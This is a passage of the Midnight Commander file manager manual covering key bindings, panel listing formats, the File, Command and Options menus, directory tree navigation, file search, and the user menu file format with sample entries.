
Shell Command Line

This section lists keys which are useful to avoid excessive typing when entering shell commands.

Alt-Enter
copy the currently selected file name to the command line.

C-Enter
same a Alt-Enter. May not work on remote systems and some terminals.

C-S-Enter
copy the full path name of the currently selected file to the command line. May not work on remote systems and some terminals.

Alt-Tab
does the filename, command, variable, username and hostname completion for you.

C-x t, C-x C-t
copy the tagged files (or if there are no tagged files, the selected file) of the current panel (C-x t) or of the other panel (C-x C-t) to the command line.

C-x p, C-x C-p
the first key sequence copies the current path name to the command line, and the second one copies the unselected panel’s path name to the command line.

C-q
the quote command can be used to insert characters that are otherwise interpreted by Midnight Commander (like the ‘+’ symbol)

Alt-p, Alt-n
use these keys to browse through the command history. Alt-p takes you to the last entry, Alt-n takes you to the next one.

Alt-h
displays the history for the current input line.

General Movement Keys

The help viewer, the file viewer and the directory tree use common code to handle moving. Therefore they accept exactly the same keys. Each of them also accepts some keys of its own.

Other parts of Midnight Commander use some of the same movement keys, so this section may be of use for those parts too.

Up, C-p
moves one line backward.

Down, C-n
moves one line forward.

Prev Page, Page Up, Alt-v
moves one page up.

Next Page, Page Down, C-v
moves one page down.

Home, A1
moves to the beginning.

End, C1
move to the end.

The help viewer and the file viewer accept the following keys in addition the to ones mentioned above:

b, C-b, C-h, Backspace, Delete
moves one page up.

Space bar
moves one page down.

u, d
moves one half of a page up or down.

g, G
moves to the beginning or to the end.

Input Line Keys

The input lines (they are used for the command line and for the query dialogs in the program) accept these keys:

C-a
puts the cursor at the beginning of line.

C-e
puts the cursor at the end of the line.

C-b, move-left
move the cursor one position left.

C-f, move-right
move the cursor one position right.

Alt-f
moves one word forward.

Alt-b
moves one word backward.

C-h, Backspace
delete the previous character.

C-d, Delete
delete the character in the point (over the cursor).

C-@
sets the mark for cutting.

C-w
copies the text between the cursor and the mark to a kill buffer and removes the text from the input line.

Alt-w
copies the text between the cursor and the mark to a kill buffer.

C-y
yanks back the contents of the kill buffer.

C-k
kills the text from the cursor to the end of the line.

Alt-p, Alt-n
Use these keys to browse through the command history. Alt-p takes you to the last entry, Alt-n takes you to the next one.

Alt-C-h, Alt-Backspace
delete one word backward.

Alt-Tab
does the filename, command, variable, username and hostname completion for you.

Menu Bar

The menu bar pops up when you press F9 or click the mouse on the top row of the screen. The menu bar has five menus: “Left”, “File”, “Command”, “Options” and “Right”.

The Left and Right Menus allow you to modify the appearance of the left and right directory panels.

The File Menu lists the actions you can perform on the currently selected file or the tagged files.

The Command Menu lists the actions which are more general and bear no relation to the currently selected file or the tagged files.

The Options Menu lists the actions which allow you to customize Midnight Commander.

Left and Right (Above and Below) Menus

The outlook of the directory panels can be changed from the Left and Right menus (they are named Above and Below when the horizontal panel split is chosen from the Layout options dialog).

Listing Format…

The listing mode view is used to display a listing of files, there are four different listing formats available: Full, Brief, Long and User. The full directory view shows the file name, the size of the file and the modification time.

The brief view shows only the file name and it has from 1 up to 9 columns (therefore showing more files unlike other views). The long view is similar to the output of ls -l command. The long view takes the whole screen width.

If you choose the “User” display format, then you have to specify the display format.

The user display format must start with a panel size specifier. This may be “half” or “full”, and they specify a half screen panel and a full screen panel respectively.

After the panel size, you may specify how many listings to fit in the panel, side-by-side (in other words: how many times to repeat the fields horizontally). This defaults to 1. You may change this by adding a number from 1 to 9 to the format string.

After this you add the name of the fields with an optional size specifier. This are the available fields you may display:

name
displays the file name.

size
displays the file size.

bsize
is an alternative form of the size format. It displays the size of the files and for directories it just shows SUB-DIR or UP–DIR.

type
displays a one character wide type field. This character is similar to what is displayed by ls with the -F flag - * for executable files, / for directories, @ for links, = for sockets, - for character devices, + for block devices, | for pipes, ~ for symbolic links to directories and ! for stale symlinks (links that point nowhere).

mark
an asterisk if the file is tagged, a space if it’s not.

mtime
file’s last modification time.

atime
file’s last access time.

ctime
file’s status change time.

perm
a string representing the current permission bits of the file.

mode
an octal value with the current permission bits of the file.

nlink
the number of links to the file.

ngid
the GID (numeric).

nuid
the UID (numeric).

owner
the owner of the file.

group
the group of the file.

inode
the inode of the file.

Also you can use following keywords to define the panel layout:

space
a space in the display format.

|
add a vertical line to the display format.

To force one field to a fixed size (a size specifier), you just add : followed by the number of characters you want the field to have. If the number is followed by the symbol +, then the size specifies the minimal field size - if the program finds out that there is more space on the screen, it will then expand that field.

For example, the Full display corresponds to this format:

half type name | size | mtime

And the Long display corresponds to this format:

full perm space nlink space owner space group space size space mtime space name

This is a nice user display format:

half name | size:7 | type mode:3

Panels may also be set to the following modes:

Info
The info view display information related to the currently selected file and if possible information about the current file system.

Tree
The tree view is quite similar to the directory tree feature. See the section about it for more information.

Quick View
In this mode, the panel will switch to a reduced viewer that displays the contents of the currently selected file, if you select the panel (with the tab key or the mouse), you will have access to the usual viewer commands.

Sort Order…

The eight sort orders are by name, by extension, by modification time, by access time, and by inode information modification time, by size, by inode and unsorted. In the Sort order dialog box you can choose the sort order and you may also specify if you want to sort in reverse order by checking the reverse box.

By default directories are sorted before files but this can be changed from the Panel options menu (option Mix all files).

Filter…

The filter command allows you to specify a shell pattern (for example *.tar.gz) which the files and directories must match to be shown. The input line allow enter the pattern of file/directory names that will be shown in the panel.

When Files only checkbox is on, only files will be matched to the filter, and all directories will be shown. Otherwise, as files as directories will be filtered. When Shell Patterns checkbox is on, the regular expression is much like the filename globbing in the shell (* standing for zero or more characters and ? standing for one character). Otherwise, the matching of files/directoris is done with normal regular expressions (see ed(1)). When Case sensitive checkbox is on, the filtering will be case sensitive characters. Otherwise, the case will be ignored.

Reread

The reread command reload the list of files in the directory. It is useful if other processes have created or removed files.

File Menu

Midnight Commander uses the F1 - F10 keys as keyboard shortcuts for commands appearing in the file menu. The escape sequences for the function keys are terminfo capabilities kf1 trough kf10. On terminals without function key support, you can achieve the same functionality by pressing the Esc key and then a number in the range 1 through 9 and 0 (corresponding to F1 to F9 and F10 respectively).

The File menu has the following commands (keyboard shortcuts in parentheses):

Help (F1)

Invokes the built-in hypertext help viewer. Inside the help viewer, you can use the Tab key to select the next link and the Enter key to follow that link. The keys Space and Backspace are used to move forward and backward in a help page. Press F1 again to get the full list of accepted keys.

Menu (F2)

Invoke the user menu. The user menu provides an easy way to provide users with a menu and add extra features to Midnight Commander.

View (F3, F13)

View the currently selected file. By default this invokes the Internal File Viewer but if the option “Use internal view” is off, it invokes an external file viewer specified by the VIEWER environment variable. If VIEWER is undefined, the PAGER environment variable is tried. If PAGER is also undefined, the “view” command is invoked. If you use F13 instead, the viewer will be invoked without doing any formatting or preprocessing to the file.

See parameters for external viewer for explain how you may specify an extended command line options for external viewers.

Filtered View (Alt-!)

This command prompts for a command and its arguments (the argument defaults to the currently selected file name), the output from such command is shown in the internal file viewer.

Edit (F4, F14)

Press F4 to edit the highlighted file. Press F14 (usually F14) to start the editor with a new, empty file. Currently they invoke the vi editor, or the editor specified in the EDITOR environment variable, or the Internal File Editor if the use_internal_edit option is on.

See parameters for external editor for explain how you may specify an extended command line options for external editors.

Copy (F5, F15)

Press F5 to pop up an input dialog to copy the currently selected file (or the tagged files, if there is at least one file tagged) to the directory/filename you specify in the input dialog. The destination defaults to the directory in the non-selected panel. Space for destination file may be preallocated relative to preallocate_space configure option. During this process, you can press C-c or Esc to abort the operation. For details about source mask (which will be usually either * or ^.*$ depending on setting of Use shell patterns) and possible wildcards in the destination see Mask copy/rename.

F15 (usually F15) is similar, but defaults to the directory in the selected panel. It always operates on the selected file, regardless of any tagged files.

On some systems, it is possible to do the copy in the background by clicking on the background button (or pressing Alt-b in the dialog box). The Background Jobs is used to control the background process.

Link (C-x l)

Create a hard link to the current file.

Absolute symlink (C-x s)

Create a absolute symbolic link to the current file.

Relative symLink (C-x v)

Create a relative symbolic link to the current file.

To those of you who don’t know what links are: creating a link to a file is a bit like copying the file, but both the source filename and the destination filename represent the same file image. For example, if you edit one of these files, all changes you make will appear in both files. Some people call links aliases or shortcuts.

A hard link appears as a real file. After making it, there is no way of telling which one is the original and which is the link. If you delete either one of them the other one is still intact. It is very difficult to notice that the files represent the same image. Use hard links when you don’t even want to know.

A symbolic link is a reference to the name of the original file. If the original file is deleted the symbolic link is useless. It is quite easy to notice that the files represent the same image. Midnight Commander shows an “@"-sign in front of the file name if it is a symbolic link to somewhere (except to directory, where it shows a tilde (~)). The original file which the link points to is shown on mini-status line if the Show mini-status option is enabled. Use symbolic links when you want to avoid the confusion that can be caused by hard links.

When you press “C-x s” Midnight Commander will automatically fill in the complete path+filename of the original file and suggest a name for the link. You can change either one.

Sometimes you may want to change the absolute path of the original into a relative path. An absolute path starts from the root directory:

/home/frodo/mc/mc -> /home/frodo/new/mc

A relative link describes the original file’s location starting from the location of the link itself:

/home/frodo/mc/mc -> ../new/mc

You can force Midnight Commander to suggest a relative path by pressing “C-x v” instead of “C-x s”.

Rename/Move (F6, F16)

Press F6 to pop up an input dialog to copy the currently selected file (or the tagged files, if there is at least one file tagged) to the directory/filename you specify in the input dialog. The destination defaults to the directory in the non-selected panel. For more details look at Copy (F5) operation above, most of the things are quite similar.

F16 (usually F16) is similar, but defaults to the directory in the selected panel. It always operates on the selected file, regardless of any tagged files.

On some systems, it is possible to do the copy in the background by clicking on the background button (or pressing Alt-b in the dialog box). The Background Jobs is used to control the background process.

Mkdir (F7)

Pop up an input dialog and creates the directory specified.

Delete (F8)

Delete the currently selected file or the tagged files in the currently selected panel. During the process, you can press C-c or Esc to abort the operation.

Quick cd (Alt-c) Use the quick cd command if you have full command line and want to cd somewhere.

Select group (+)

This is used to select (tag) a group of files. Midnight Commander will prompt for a selection options. When Files only checkbox is on, only files will be selected. If Files only is off, as files as directories will be selected. When Shell Patterns checkbox is on, the regular expression is much like the filename globbing in the shell (* standing for zero or more characters and ? standing for one character). If Shell Patterns is off, then the tagging of files is done with normal regular expressions (see ed (1)). When Case sensitive checkbox is on, the selection will be case sensitive characters. If Case sensitive is off, the case will be ignored.

Unselect group ()

Used to unselect a group of files. This is the opposite of the Select group command.

Quit (F10, S-F10)

Terminate Midnight Commander. S-F10 is used when you want to quit and you are using the shell wrapper. S-F10 will not take you to the last directory you visited with Midnight Commander, instead it will stay at the directory where you started Midnight Commander.

Quick cd

This command is useful if you have a full command line and want to cd somewhere without having to yank and paste the command line. This command pops up a small dialog, where you enter everything you would enter after cd on the command line and then you press enter. This features all the things that are already in the internal cd command.

Command Menu

The Directory tree command shows a tree figure of the directories.

The “Find file” command allows you to search for a specific file.

The “Swap panels” command swaps the contents of the two directory panels.

The “Switch panels on/off” command shows the output of the last shell command. This works only on xterm and on Linux and FreeBSD console.

The “Compare directories” command compares the directory panels with each other. You can then use the Copy (F5) command to make the panels identical. There are three compare methods. The quick method compares only file size and file date. The thorough method makes a full byte-by-byte compare. The thorough method is not available if the machine does not support the mmap(2) system call. The size-only compare method just compares the file sizes and does not check the contents or the date times, it just checks the file size.

The “External panelize” allows you to execute an external program, and make the output of that program the contents of the current panel.

The “Command history” command shows a list of typed commands. The selected command is copied to the command line. The command history can also be accessed by typing Alt-p or Alt-n.

The “Directory hotlist” command makes changing of the current directory to often used directories faster.

The “Screen list” command shows a dialog window with the list of currently running internal editors, viewers and other MC modules that support this mode.

The “Edit extension file” command allows you to specify programs to executed when you try to execute, view, edit and do a bunch of other thing on files with certain extensions (filename endings).

The “Edit Menu File” command may be used for editing the user menu (which appears by pressing F2).

Directory Tree

The Directory Tree command shows a tree figure of the directories. You can select a directory from the figure and Midnight Commander will change to that directory.

There are two ways to invoke the tree. The real directory tree command is available from Commands menu. The other way is to select tree view from the Left or Right menu.

To get rid of long delays, Midnight Commander creates the tree figure by scanning only a small subset of all the directories. If the directory which you want to see is missing, move to its parent directory and press C-r (or F2).

You can use the following keys:

General movement keys
are accepted.

Enter.
In the directory tree, exits the directory tree and changes to this directory in the current panel. In the tree view, changes to this directory in the other panel and stays in tree view mode in the current panel.

C-r, F2 (Rescan).
Rescan this directory. Use this when the tree figure is out of date: 2020-01-01

F3 (Forget).
Delete this directory from the tree figure. Use this to remove clutter from the figure. If you want the directory back to the tree figure press F2 in its parent directory.

F4 (Static/Dynamic).
Toggle between the dynamic navigation mode (default) and the static navigation mode.

In the static navigation mode you can use the Up and Down keys to select a directory. All known directories are shown.

In the dynamic navigation mode you can use the Up and Down keys to select a sibling directory, the Left key to move to the parent directory, and the Right key to move to a child directory. Only the parent, sibling and children directories are shown, others are left out. The tree figure changes dynamically as you traverse.

F5 (Copy).
Copy the directory.

F6 (RenMov).
Move the directory.

F7 (Mkdir).
Make a new directory below this directory.

F8 (Delete).
Delete this directory from the file system.

C-s, Alt-s.
Search the next directory matching the search string. If there is no such directory these keys will move one line down.

C-h, Backspace.
Delete the last character of the search string.

Any other character.
Add the character to the search string and move to the next directory which starts with these characters. In the tree view you must first activate the search mode by pressing C-s. The search string is shown in the mini status line.

The following actions are available only in the directory tree. They aren’t supported in the tree view.

F1 (Help).
Invoke the help viewer and show this section.

Esc, F10.
Exit the directory tree. Do not change the directory.

The mouse is supported. A double-click behaves like Enter. See also the section on mouse support.

Find File

The Find File feature first asks for the start directory for the search and the filename to be searched for. By pressing the Tree button you can select the start directory from the directory tree figure.

The “File name” input field contains a filename pattern to be searched for. It is interpreted as a shell pattern or as a regular expression depending on the state of the “Using shell patterns” checkbox. An empty value is valid and matches any file name.

The “Content” input field contains a string to search for within the files. Leave this field empty to disable searching file contents.

Option “Whole words” allows select only those files containing matches that form whole words. Like grep -w.

You can start the search by pressing the OK button. During the search you can stop from the Stop button and continue from the Start button.

You can browse the filelist with the up and down arrow keys. The Chdir button will change to the directory of the currently selected file. The Again button will ask for the parameters for a new search. The Quit button quits the search operation. The Panelize button will place the found files to the current directory panel so that you can do additional operations on them (view, copy, move, delete and so on). To return to the normal file listing, change directory to “..”.

The ‘Enable ignore directories’ checkbox and input field below it allow one to set up the list of directories that should be skip during the search files (for example, you may want to avoid searches on a CD-ROM or on a NFS directory that is mounted across a slow link). List components must be separated with a colon, here is an example:

/cdrom:/nfs/wuarchive:/afs

Relative paths are supported also. The following example shows how to skip special directories of version control systems:

/cdrom:/nfs/wuarchive:/afs:.svn:.git:CVS

Attention: input field can contain a dot (.), this means the current absolute path.

You may consider using the External panelize command for some operations. Find file command is for simple queries only, while using External panelize you can do as mysterious searches as you would like.

External panelize

The External panelize allows you to execute an external program, and make the output of that program the contents of the current panel.

For example, if you want to manipulate in one of the panels all the symbolic links in the current directory, you can use external panelization to run the following command:

find . -type l -print

Upon command completion, the directory contents of the panel will no longer be the directory listing of the current directory, but all the files that are symbolic links.

If you want to panelize all of the files that have been downloaded from your FTP server, you can use this awk command to extract the file name from the transfer log files:

awk '$9 ~! /incoming/ { print $9 }' < /var/log/xferlog

You may want to save often used panelize commands under a descriptive name, so that you can recall them quickly. You do this by typing the command on the input line and pressing Add new button. Then you enter a name under which you want the command to be saved. Next time, you just choose that command from the list and do not have to type it again.

Hotlist

The Directory hotlist command shows the labels of the directories in the directory hotlist. Midnight Commander will change to the directory corresponding to the selected label. From the hotlist dialog, you can remove already created label/directory pairs and add new ones. To add new directories quickly, you can use the Add to hotlist command (C-x h), which adds the current directory into the directory hotlist, asking just for the label for the directory.

This makes cd to often used directories faster. You may consider using the CDPATH variable as described in internal cd command description.

Edit Extension File

This will invoke your editor on the file ~/.config/mc/mc.ext.ini. If this file does not exist and you are not root, it will be copied from /etc/mc/mc.ext.ini. If you are root, you can choose the file to edit: user’s ~/.config/mc/mc.ext.ini or system-wide /etc/mc/mc.ext.ini. The format of this file is described in detail in it.

Background Jobs

This lets you control the state of any background Midnight Commander process (only copy and move files operations can be done in the background). You can stop, restart and kill a background job from here.

Edit Menu File

The user menu is a menu of useful actions that can be customized by the user. When you access the user menu, the file .mc.menu from the current directory is used if it exists, but only if it is owned by user or root and is not world-writable. If no such file found, ~/.config/mc/menu is tried in the same way, and otherwise mc uses the default system-wide menu /usr/share/mc/mc.menu.

The format of the menu file is very simple. Lines that start with anything but space or tab are considered entries for the menu (in order to be able to use it like a hot key, the first character should be a letter). All the lines that start with a space or a tab are the commands that will be executed when the entry is selected.

When an option is selected all the command lines of the option are copied to a temporary file in the temporary directory (usually /usr/tmp) and then that file is executed. This allows the user to put normal shell constructs in the menus. Also simple macro substitution takes place before executing the menu code. For more information, see macro substitution.

Here is a sample mc.menu file:

A	Dump the currently selected file
	od -c %f

B	Edit a bug report and send it to root
	I=`mktemp ${MC_TMPDIR:-/tmp}/mail.XXXXXX` || exit 1
	vi $I
	mail -s "Midnight Commander bug" root < $I
	rm -f $I

M	Read mail
	emacs -f rmail

N	Read Usenet news
	emacs -f gnus

H	Call the info hypertext browser
	info

J	Copy current directory to other panel recursively
	tar cf - . | (cd %D && tar xvpf -)

K	Make a release of the current subdirectory
	echo -n "Name of distribution file: "
	read tar
	ln -s %d `dirname %d`/$tar
	cd ..
	tar cvhf ${tar}.tar $tar

= f *.tar.gz | f *.tgz & t n
X       Extract the contents of a compressed tar file
	tar xzvf %f

Default Conditions

Each menu entry may be preceded by a condition. The condition must start from the first column with a ‘=’ character. If the condition is true, the menu entry will be the default entry.

Condition syntax: 	= <sub-cond>
  or:			= <sub-cond> | <sub-cond> ...
  or:			= <sub-cond> & <sub-cond> ...

Sub-condition is one of following:

  y <pattern>		syntax of current file matching pattern?
			(for edit menu only)
  f <pattern>		current file matching pattern?
  F <pattern>		other file matching pattern?
  d <pattern>		current directory matching pattern?
  D <pattern>		other directory matching pattern?
  t <type>		current file of type?
  T <type>		other file of type?
  x <filename>		is it executable filename?
  ! <sub-cond>		negate the result of sub-condition

Pattern is a normal shell pattern or a regular expression, according to the shell patterns option. You can override the global value of the shell patterns option by writing “shell_patterns=x” on the first line of the menu file (where “x” is either 0 or 1).

Type is one or more of the following characters:

  n	not a directory
  r	regular file
  d	directory
  l	link
  c	character device
  b	block device
  f	FIFO (pipe)
  s	socket
  x	executable file
  t	tagged

For example ‘rlf’ means either regular file, link or fifo. The ’t’ type is a little special because it acts on the panel instead of the file. The condition ‘=t t’ is true if there are tagged files in the current panel and false if not.

If the condition starts with ‘=?’ instead of ‘=’ a debug trace will be shown whenever the value of the condition is calculated.

The conditions are calculated from left to right. This means

	= f *.tar.gz | f *.tgz & t n

is calculated as

	( (f *.tar.gz) | (f *.tgz) ) & (t n)

Here is a sample of the use of conditions:

= f *.tar.gz | f *.tgz & t n
L	List the contents of a compressed tar-archive
	gzip -cd %f | tar xvf -

Addition Conditions

If the condition begins with ‘+’ (or ‘+?’) instead of ‘=’ (or ‘=?’) it is an addition condition. If the condition is true the menu entry will be included in the menu. If the condition is false the menu entry will not be included in the menu.

You can combine default and addition conditions by starting condition with ‘+=’ or ‘=+’ (or ‘+=?’ or ‘=+?’ if you want debug trace). If you want to use two different conditions, one for adding and another for defaulting, you can precede a menu entry with two condition lines, one starting with ‘+’ and another starting with ‘=’.

Comments are started with ‘#’. The additional comment lines must start with ‘#’, space or tab.

Options Menu

Midnight Commander has some options that may be toggled on and off in several dialogs which are accessible from this menu. Options are enabled if they have an asterisk or “x” in front of them.

The Configuration command pops up a dialog from which you can change most of settings of Midnight Commander.

The Layout command pops up a dialog from which you specify a bunch of options how mc looks like on the screen.

The Panel options command pops up a dialog from which you specify options of file manager panels.

The Confirmation command pops up a dialog from which you specify which actions you want to confirm.

The Appearance command pops up a dialog from which you specify the skin.

The Display bits command pops up a dialog from which you may select which characters is your terminal able to display.

The Learn keys command pops up a dialog from which you test some keys which are not working on some terminals and you may fix them.

The Virtual FS command pops up a dialog from which you specify some VFS related options.

The Save setup command saves the current settings of the Left, Right and Options menus. A small number of other settings is saved, too.

Configuration

The options in this dialog are divided into several groups: “File operation options”, “Esc key mode”, “Pause after run” and “Other options”.

File operation options

Verbose operation. This toggles whether the file Copy, Rename and Delete operations are verbose (i.e., display a dialog box for each operation). If you have a slow terminal, you may wish to disable the verbose operation. It is automatically turned off if the speed of your terminal is less than 9600 bps.

Compute totals. If this option is enabled, Midnight Commander computes total byte sizes and total number of files prior to any Copy, Rename and Delete operations. This will provide you with a more accurate progress bar at the expense of some speed. This option has no effect, if Verbose operation is disabled.

Classic progressbar. If this option is enabled, the progressbar of Copy/Move/Delete operations is always grown form left to right. If disabled, the growing direction of progressbar follows to direction of Copy/Move/Delete operation: from left panel to right one and vice versa. Enabled by default.

Mkdir autoname. When you press F7 to create a new directory, the input line in popup dialog will be filled by name of current file or directory in active panel. Disabled by default.

Preallocate space. Preallocate space for whole target file, if possible, before copy operation. Disabled by default.

Esc key mode.

By default, Midnight Commander treats the Esc key as a key prefix. Therefore, you should press Esc code twice to exit a dialog. But there is a possibility to use a single press of Esc key for that action.

Single press. By default this option is disabled. If you’ll enable it, the Esc key will act as a prefix key for set up time interval (see Timeout option below), and if no extra keys have arrived, then the Esc key is interpreted as a cancel key (Esc Esc).

Timeout. This options is used to setup the time interval (in microseconds) for single press of Esc key. By default, this interval is one second (1000000 microseconds). Also the timeout can be set via KEYBOARD_KEY_TIMEOUT_US environment variable (also in microseconds), which has higher priority than Timeout option value.

Pause after run

After executing your commands, Midnight Commander can pause, so that you can examine the output of the command. There are three possible settings for this variable:

Never. Means that you do not want to see the output of your command. If you are using the Linux or FreeBSD console or an xterm, you will be able to see the output of the command by typing C-o.

On dumb terminals. You will get the pause message on terminals that are not capable of showing the output of the last command executed (any terminal that is not an xterm or the Linux console).

Always. The program will pause after executing all of your commands.

Other options

Use internal editor. If this option is enabled, the built-in file editor is used to edit files. If the option is disabled, the editor specified in the EDITOR environment variable is used. If no editor is specified, vi is used. See the section on the internal file editor.

Use internal viewer. If this option is enabled, the built-in file viewer is used to view files. If the option is disabled, the pager specified in the PAGER environment variable is used. If no pager is specified, the view command is used. See the section on the internal file viewer.

Ask new file name. If this option is enabled, file name is asked before open new file in editor.

Auto menus. If this option is enabled, the user menu will be invoked at startup. Useful for building menus for non-unixers.

Drop down menus. When this option is enabled, the pull down menus will be activated as soon as you press the F9 key. Otherwise, you will only get the menu title, and you will have to activate the menu either with the arrow keys or with the hotkeys. It is recommended if you are using hotkeys.

Shell Patterns. By default the Select, Unselect and Filter commands will use shell-like regular expressions. The following conversions are performed to achieve this: the ‘*’ is replaced by ‘.*’ (zero or more characters); the ‘?’ is replaced by ‘.’ (exactly one character) and ‘.’ by the literal dot. If the option is disabled, then the regular expressions are the ones described in ed(1).

Complete: show all. By default, Midnight Commander pops up all possible completions if the completion is ambiguous only when you press Alt-Tab for the second time. For the first time, it just completes as much as possible and beeps in the case of ambiguity. Enable this option if you want to see all possible completions even after pressing Alt-Tab the first time.

Rotating dash. If this option is enabled, the Midnight Commander shows a rotating dash in the upper right corner as a work in progress indicator.

Cd follows links. This option, if set, causes Midnight Commander to follow the logical chain of directories when changing current directory either in the panels, or using the cd command. This is the default behavior of bash. When unset, Midnight Commander follows the real directory structure, so cd .. if you’ve entered that directory through a link will move you to the current directory’s real parent and not to the directory where the link was present.

Safe delete. If this option is enabled, deleting files and directory hotlist entries unintentionally becomes more difficult. The default selection in the confirmation dialogs for deletion changes from Yes to No. This option is disabled by default.

Safe overwrite. If this option is enabled, overwriting files unintentionally becomes more difficult. The default selection in the overwrite confirmation dialog changes from Yes to No. This option is disabled by default.

Auto save setup. If this option is enabled, when you exit Midnight Commander, the configurable options of Midnight Commander are saved in the ~/.config/mc/ini file.

Layout

The layout dialog gives you a possibility to change the general layout of screen. The options in this dialog are divided into several groups: “Panel split”, “Console output” and “Other options”.

Panel split

The rest of the screen area is used for the two directory panels. You can specify whether the area is split to the panels in Vertical or Horizontal direction. Panel layout can be changed using Alt-, (Alt-comma) shortcut.

Equal split. By default, panels have equal sizes. Using this option you can specify an unequal split.

Console output

On the Linux or FreeBSD console you can specify how many lines are shown in the output window. This option is available if Midnight Commander runs on native console only.

Other options

Menu bar visible. If enabled, main menu of Midnight Commander is always visible on the top row of screen above panels. Enabled by default.

Command prompt. If enabled, command line is available. Enabled by default.

Keybar visible. If enabled, 10 labels associated with F1-F10 keys are located at the bottom row of screen. Enabled by default.

Hintbar visible. If enabled, the one-line hints are visible below panels. Enabled by default.

XTerm window title. When run in a terminal emulator for X11, Midnight Commander sets the terminal window title to the current working directory and updates it when necessary. If your terminal emulator is broken and you see some incorrect output on startup and directory change, turn off this option. Enabled by default.

Show free space. If enabled, free space and total space of current file system is shown at the bottom frame of panel. Enabled by default.

Panel options

Main panel options

Show mini-status. If enabled, one line of status information about the currently selected item is shown at the bottom of the panels. Enabled by default.

Use SI size units. If this option is enabled, Midnight Commander will use SI prefixes (base 10) when displaying any byte sizes. If disabled (default), Midnight Commander will use IEC prefixes (base 2).

Mix all files. If this option is enabled, all files and directories are shown mixed together. If the option is disabled (default), directories (and links to directories) are shown at the beginning of the listing, and other files below.

Show backup files. If enabled, Midnight Commander will show files ending with a tilde. Otherwise, they won’t be shown (like GNU’s ls option -B). Enabled by default.

Show hidden files. If enabled, Midnight Commander will show all files that start with a dot (like ls -a). Disabled by default.

Fast directory reload. If this option is enabled, Midnight Commander will use a trick to determine if the directory contents have changed. The trick is to reload the directory only if the i-node of the directory has changed; this means that reloads only happen when files are created or deleted. If what changes is the i-node for a file in the directory (file size changes, mode or owner changes, etc) the display is not updated. In these cases, if you have the option on, you have to rescan the directory manually (with C-r). Disabled by default.

Mark moves down. If enabled, the selection bar will move down when you mark a file (with Insert key). Enabled by default.

Reverse files only. Allow revert selection of files only. Enabled by default. If enabled, the reverse selection is applied to files only, not to directories. The selection of directories is untouched. If off, the reverse selection is applied to files as well to directories: all unselected items become selected, and vice versa.

Simple swap. If both panels contain file listing, simple swap means that panels exchange its screen positions: left panel become right one, and vice versa. If this option is unchecked, file listing panels exchange its content keeping listing format and sort options. Unchecked by default.

Auto save panels setup. If this option is enabled, when you exit Midnight Commander, the current settings of panels are saved in the ~/.config/mc/panels.ini file. Disabled by default.

Navigation

Lynx-like motion. If this option is enabled, you may use the arrows keys to automatically chdir if the current selection is a subdirectory and the shell command line is empty. By default, this setting is off.

Page scrolling. If set (the default), panel will scroll by half the display when the cursor reaches the end or the beginning of the panel, otherwise it will just scroll a file at a time.

Center scrolling. If set, panel will scroll when the cursor reaches the middle of the panel column, only hitting the top or bottom of the panel when actually on the first or last file. This behavior applies when scrolling one file at a time, and does not apply to the page up/down keys.

Mouse page scrolling. Controls whenever scrolling with the mouse wheel is done by pages or line by line on the panels.

File highlight

You can specify whether permissions and file types should be highlighted with distinctive Colors. If the permission highlighting is enabled, the parts of the perm and mode display fields which apply to the user running Midnight Commander are highlighted with the color defined by the selected keyword. If the file type highlighting is enabled, file names are colored according to rules described in /etc/mc/filehighlight.ini file. See Filenames Highlight for more info.

Quick search

You can specify how the Quick search mode should work: case insensitively, case sensitively or be matched to the panel sort order: case sensitive or not.

Confirmation

In this dialog you configure the confirmation options for file deletion, overwriting files, execution by pressing enter, quitting the program, directory hotlist entries deletion and history cleanup.

Appearance

In this dialog you can select the skin to be used and enable shadow for dialogs and drop down menus.

See the Skins section for technical details about the skin definition files.

Shadows. If this option is enabled, all dialogs and drop down menus will have a shadow.

Display bits

This is used to configure the range of visible characters on the screen. This setting may be 7-bits if your terminal/curses supports only seven output bits, ISO-8859-1 displays all the characters in the ISO-8859-1 map and full 8 bits is for those terminals that can display full 8 bit characters.

Learn keys

This dialog allows you to test and redefine functional keys, cursor arrows and some other keys to make them work properly on your terminal. They often don’t, since many terminal databases are incomplete or broken.

You can move around with the Tab key and with the vi moving keys (‘h’ left, ‘j’ down, ‘k’ up and ’l’ right). Once you press any cursor movement key and it is recognized, you can use that key as well.

You can test keys just by pressing each of them. When you press a key and it is recognized properly, OK should appear next to the name of that key. Once a key is marked OK it starts working as usually, e.g. F1 pressed the first time will just check that the F1 key works, but after that it will show help. The same applies to the arrow keys. The Tab key should be working always.

If some keys do not work properly then you won’t see OK appear after pressing one of these. Then you may want to redefine it. Do it by pressing the button with the name of that key (either by the mouse or by Enter or Space after selecting the button with Tab or arrows). Then a message box will appear asking you to press that key. Do it and wait until the message box disappears. If you want to abort, just press Escape once and wait.

When you finish with all the keys, you can Save them. The definitions for the keys you have redefined will be written into the [terminal:TERM] section of your ~/.config/mc/ini file (where TERM is the name of your current terminal). The definitions of the keys that were already working properly are not saved.

Virtual FS

This option gives you control over the settings of the Virtual File System.

Midnight Commander keeps in memory the information related to some of the virtual file systems to speed up the access to the files in the file system (for example, directory listings fetched from FTP servers).

Also, in order to access the contents of compressed files (for example, compressed tar files), Midnight Commander needs to create temporary uncompressed files on your disk.

Since both the information in memory and the temporary files on disk take up resources, you may want to tune the parameters of the cached information to decrease your resource usage or to maximize the speed of access to frequently used file systems.

Because of the format of the tar archives, the Tar filesystem needs to read the whole file just to load the file entries. Since most tar files are usually kept compressed (plain tar files are species in extinction), the tar file system has to uncompress the file on the disk in a temporary location and then access the uncompressed file as a regular tar file.

Now, since we all love to browse files and tar files all over the disk, it’s common that you will leave a tar file and then re-enter it later. Since decompression is slow, Midnight Commander will cache the information in memory for a limited time. When the timeout expires, all the resources associated with the file system are released. The default timeout is set to one minute.

The FTP File System (ftpfs) allows you to browse directories on remote FTP servers. It has several options.

ftp anonymous password is the password used when you login as “anonymous”. Some sites require a valid e-mail address. On the other hand, you probably don’t want to give your real e-mail address to untrusted sites, especially if you are not using spam filtering.

ftpfs keeps the directory listing it fetches from a FTP server in a cache. The cache expire time is configurable with the ftpfs directory cache timeout option. A low value for this option may slow down every operation on the ftpfs because every operation would require sending a request to the FTP server.

You can define an FTP proxy host for doing FTP. Note that most modern firewalls are fully transparent at least for passive FTP (see below), so FTP proxies are considered obsolete.

If Always use ftp proxy is not set, you can use the exclamation sign to enable proxy for certain hosts. See FTP File System for examples.

